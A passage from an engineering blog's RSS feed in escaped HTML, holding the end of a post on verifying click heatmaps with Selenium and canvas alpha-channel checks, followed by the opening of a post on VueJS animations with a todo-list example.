function&quot;&gt;isCanvasEmpty&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;wait&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;EC&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;presenceOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;tagName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;canvas&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;executeScript&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; canvas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getElementsByTagName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;canvas&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; imgWidth &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; canvas&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;width &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; canvas&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;naturalWidth&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; imgHeight &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; canvas&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;height &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; canvas&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;naturalHeight&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// true if all pixels Alpha equals to zero&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; ctx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; canvas&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getContext&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;2d&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; imageData &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getImageData&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; imgWidth&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; imgHeight&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//alpha channel is the 4th value in the imageData.data array that’s why we are incrementing it by 4&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; imageData&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;imageData&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/li&gt; &lt;/ol&gt; &lt;p&gt;In this function, we are getting the 2d context of the canvas and then we are iterating over the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData&quot;&gt;image data&lt;/a&gt; to check if &lt;a href=&quot;https://en.wikipedia.org/wiki/Alpha_compositing&quot;&gt;alpha channel&lt;/a&gt; of all pixel points is greater than zero. Alpha channel is an 8-bit layer in a graphics file format that is used for expressing translucency (transparency), which in turn means that if the value of alpha channel of a pixel is equal to zero, nothing is plotted over that pixel.&lt;/p&gt; &lt;p&gt;If for any pixel the value of alpha channel is greater than zero, this tells us that the canvas is not empty which indeed means clicks are plotted onto the heatmap.&lt;/p&gt; &lt;p&gt;Once we are sure that the canvas is not empty, we can proceed further to check that the clicks are plotted on the canvas at the correct position i.e exactly where we clicked using selenium.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;exports&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;checkCanvasPlotting&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;coordinates&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;use strict&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;wait&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;EC&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;presenceOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;tagName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;canvas&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;executeScript&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; coord &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; arguments&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; canvas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getElementsByTagName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;canvas&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// true if all pixels Alpha equals to zero&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; ctx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; canvas&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getContext&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;2d&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getImageData&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;coord&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; coord&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;y&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; coordinates&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;In this function, we are using the same canvas function to get the imageData and then checking that for all the coordinates where clicks were plotted the value of alpha channel is greater than zero.&lt;/p&gt; &lt;p&gt;The above function can be easily called as below:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;exports&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;validateHeatmapPlotting&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;coordinateArray&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;use strict&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; coordinateArray&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;canvasUtils&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;checkCanvasPlotting&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;coordinateArray&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toBe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;Canvas utility functions and selenium can be easily leveraged in order to verify basic heatmap functionality using automation.&lt;/li&gt; &lt;li&gt;These can be easily extended in order to verify number of clicks on element and also to verify plotting intensity.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Hope this post was a good enough reference to help you write end-to-end automation script for heatmap testing. If you have any questions about this, let us know via comments.&lt;/p&gt;</content:encoded><author>Sahil Goyal</author></item><item><title><![CDATA[Animations in VueJS]]></title><description><![CDATA[This article is inspired from Animating Vue JS by Sarah Drasner at JS Channel 2017. Problem Statement - Why Animation? Website UI…]]></description><link>https://engineering.wingify.com//posts/animations-in-vue-js/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/animations-in-vue-js/</guid><pubDate>Tue, 12 Dec 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This article is inspired from &lt;a href=&quot;http://slides.com/sdrasner/animating-vue-keynote&quot;&gt;Animating Vue JS by Sarah Drasner&lt;/a&gt; at &lt;a href=&quot;http://2017.jschannel.com/&quot;&gt;JS Channel 2017&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;problem-statement---why-animation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#problem-statement---why-animation&quot; aria-label=&quot;problem statement why animation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Problem Statement - Why Animation?&lt;/h3&gt; &lt;p&gt;&lt;strong&gt;Website UI Development&lt;/strong&gt; is not about making things beautiful. It’s all about website performance and customer experience. According to studies from &lt;strong&gt;Amazon&lt;/strong&gt; and &lt;strong&gt;Walmart&lt;/strong&gt;, they discovered a drop of conversion rate/revenue on increasing the user interaction time as the user feels interrupted during the interaction. Another study discovered that a customised animated loader made a higher wait time and lower abandon rate compared to generic one as the user felt more interactive with the former loader.&lt;/p&gt; &lt;p&gt;In a nutshell, the animation of your application should be more interactive and engaging for the user, kind of like &lt;strong&gt;a cinema booking application&lt;/strong&gt; and &lt;strong&gt;a form inside a location tag&lt;/strong&gt; for example.&lt;/p&gt; &lt;h3 id=&quot;what-is-vuejs&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-is-vuejs&quot; aria-label=&quot;what is vuejs permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What is VueJS?&lt;/h3&gt; &lt;p&gt;For those who are familiar with &lt;strong&gt;Angular&lt;/strong&gt; and &lt;strong&gt;ReactJS&lt;/strong&gt;, &lt;strong&gt;VueJS&lt;/strong&gt; is a progressive JavaScript framework that supports some features:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;A virtual DOM&lt;/li&gt; &lt;li&gt;Declarative Rendering&lt;/li&gt; &lt;li&gt;Computed properties&lt;/li&gt; &lt;li&gt;Reactive components&lt;/li&gt; &lt;li&gt;Conditional rendering … to name a few&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Some of these features are quite similar to what &lt;strong&gt;Angular&lt;/strong&gt; and &lt;strong&gt;ReactJS&lt;/strong&gt; already provide. However, you can check &lt;a href=&quot;https://vuejs.org/v2/guide/comparison.html&quot;&gt;its comparison with other frameworks&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;todo-list-example&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#todo-list-example&quot; aria-label=&quot;todo list example permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Todo List Example&lt;/h3&gt; &lt;p&gt;Let’s take a simple example of &lt;strong&gt;Todo list&lt;/strong&gt;, containing a list of tasks with the functionality of adding/removing a task to/from the list.&lt;/p&gt; &lt;p&gt;This will be our view in &lt;strong&gt;HTML&lt;/strong&gt; file, assuming that you’ve included &lt;strong&gt;VueJS&lt;/strong&gt; in a &lt;code class=&quot;language-text&quot;&gt;script&lt;/code&gt; tag already.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;app&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;v-model&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;task&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;button&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token 